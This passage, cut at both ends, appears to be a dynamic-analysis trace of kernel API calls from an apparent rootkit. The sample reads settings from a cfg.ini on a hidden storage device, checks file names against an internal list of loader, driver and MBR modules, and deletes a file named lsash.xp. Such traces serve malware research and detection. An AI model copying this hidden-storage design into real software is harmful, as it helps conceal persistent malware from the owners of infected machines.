returned 16 [0130.087] KeEnterCriticalRegion () [0130.087] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.087] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.087] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.087] KeLeaveCriticalRegion () [0130.087] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.087] KeEnterCriticalRegion () [0130.087] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.087] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.087] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.087] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.088] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.088] IdePortDispatch () returned 0x103 [0130.088] KeWaitForMutexObject () returned 0x0 [0130.088] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.088] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.088] KeLeaveCriticalRegion () [0130.088] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.088] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.088] KeEnterCriticalRegion () [0130.088] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.088] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d1f000 [0130.088] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.088] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.088] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.088] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.088] IdePortDispatch () returned 0x103 [0130.088] KeWaitForMutexObject () returned 0x0 [0130.088] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.088] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.088] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.088] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.088] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.088] IdePortDispatch () returned 0x103 [0130.089] KeWaitForMutexObject () returned 0x0 [0130.089] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.089] KeLeaveCriticalRegion () [0130.089] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.089] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.089] KeEnterCriticalRegion () [0130.089] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.089] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.089] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.089] KeLeaveCriticalRegion () [0130.089] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.089] KeEnterCriticalRegion () [0130.089] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.089] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.089] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.089] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.089] KeLeaveCriticalRegion () [0130.090] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.090] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.090] KeEnterCriticalRegion () [0130.090] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.090] ExFreePoolWithTag (P=0xfffffa8003c08dc0, Tag=0x0) [0130.090] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.090] KeLeaveCriticalRegion () [0130.090] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.090] ReleaseMutex (hMutex=0xf0) returned 1 [0130.090] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.090] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.090] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.090] KeEnterCriticalRegion () [0130.090] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.090] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.090] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.090] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.090] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.090] IdePortDispatch () returned 0x103 [0130.090] KeWaitForMutexObject () returned 0x0 [0130.090] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.090] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.090] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.090] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.090] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.090] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c080a0 [0130.090] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.090] KeLeaveCriticalRegion () [0130.090] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.090] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.091] KeEnterCriticalRegion () [0130.091] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.091] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.091] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.091] KeLeaveCriticalRegion () [0130.091] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.091] KeEnterCriticalRegion () [0130.091] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.091] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.091] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.091] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.091] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.091] IdePortDispatch () returned 0x103 [0130.091] KeWaitForMutexObject () returned 0x0 [0130.091] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.091] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.091] KeLeaveCriticalRegion () [0130.091] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.091] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.091] KeEnterCriticalRegion () [0130.091] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.091] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d20000 [0130.091] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.091] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.091] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.091] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.091] IdePortDispatch () returned 0x103 [0130.091] KeWaitForMutexObject () returned 0x0 [0130.092] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.092] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.092] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.092] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.092] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.092] IdePortDispatch () returned 0x103 [0130.092] KeWaitForMutexObject () returned 0x0 [0130.092] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.092] KeLeaveCriticalRegion () [0130.092] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.092] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.092] KeEnterCriticalRegion () [0130.092] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.092] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.093] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.093] KeLeaveCriticalRegion () [0130.093] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.093] KeEnterCriticalRegion () [0130.093] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.093] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.093] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c082e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.093] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.093] KeLeaveCriticalRegion () [0130.093] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.093] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.093] KeEnterCriticalRegion () [0130.093] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.093] ExFreePoolWithTag (P=0xfffffa8003c080a0, Tag=0x0) [0130.093] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.093] KeLeaveCriticalRegion () [0130.093] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.093] ReleaseMutex (hMutex=0xf0) returned 1 [0130.093] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.093] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0130.093] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.093] KeEnterCriticalRegion () [0130.093] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.093] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.093] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.093] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.093] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.093] IdePortDispatch () returned 0x103 [0130.093] KeWaitForMutexObject () returned 0x0 [0130.093] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.093] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.094] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.094] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.094] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.094] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c05270 [0130.094] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.094] KeLeaveCriticalRegion () [0130.094] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.094] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.094] KeEnterCriticalRegion () [0130.094] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.094] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.094] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.094] KeLeaveCriticalRegion () [0130.094] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.094] KeEnterCriticalRegion () [0130.094] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.094] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.094] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.094] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.094] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.094] IdePortDispatch () returned 0x103 [0130.094] KeWaitForMutexObject () returned 0x0 [0130.094] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.094] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.094] KeLeaveCriticalRegion () [0130.094] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.094] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.094] KeEnterCriticalRegion () [0130.094] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.094] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d21000 [0130.094] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.094] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.095] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.095] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.095] IdePortDispatch () returned 0x103 [0130.095] KeWaitForMutexObject () returned 0x0 [0130.095] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.095] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.095] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.095] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.095] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.095] IdePortDispatch () returned 0x103 [0130.095] KeWaitForMutexObject () returned 0x0 [0130.095] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.095] KeLeaveCriticalRegion () [0130.095] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.096] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.096] KeEnterCriticalRegion () [0130.096] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.096] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.096] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.096] KeLeaveCriticalRegion () [0130.096] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.096] KeEnterCriticalRegion () [0130.096] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.096] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.096] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfd290, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.096] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.096] KeLeaveCriticalRegion () [0130.096] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.096] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.096] KeEnterCriticalRegion () [0130.096] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.096] ExFreePoolWithTag (P=0xfffffa8003c05270, Tag=0x0) [0130.096] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.096] KeLeaveCriticalRegion () [0130.096] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.096] ReleaseMutex (hMutex=0xf0) returned 1 [0130.096] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0130.096] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0130.096] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0130.096] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.097] KeEnterCriticalRegion () [0130.097] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.097] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.097] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.097] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.097] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.097] IdePortDispatch () returned 0x103 [0130.097] KeWaitForMutexObject () returned 0x0 [0130.097] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.097] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.097] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.097] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.097] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.097] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.097] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.097] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.097] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.097] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.097] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.097] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.097] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.097] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.097] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.097] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.097] KeLeaveCriticalRegion () [0130.097] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.097] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0130.097] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.097] KeEnterCriticalRegion () [0130.097] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.097] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.097] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.097] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.097] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.097] IdePortDispatch () returned 0x103 [0130.098] KeWaitForMutexObject () returned 0x0 [0130.098] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.098] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.098] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.098] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.098] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.098] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.098] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.098] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.098] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.098] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.098] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.098] 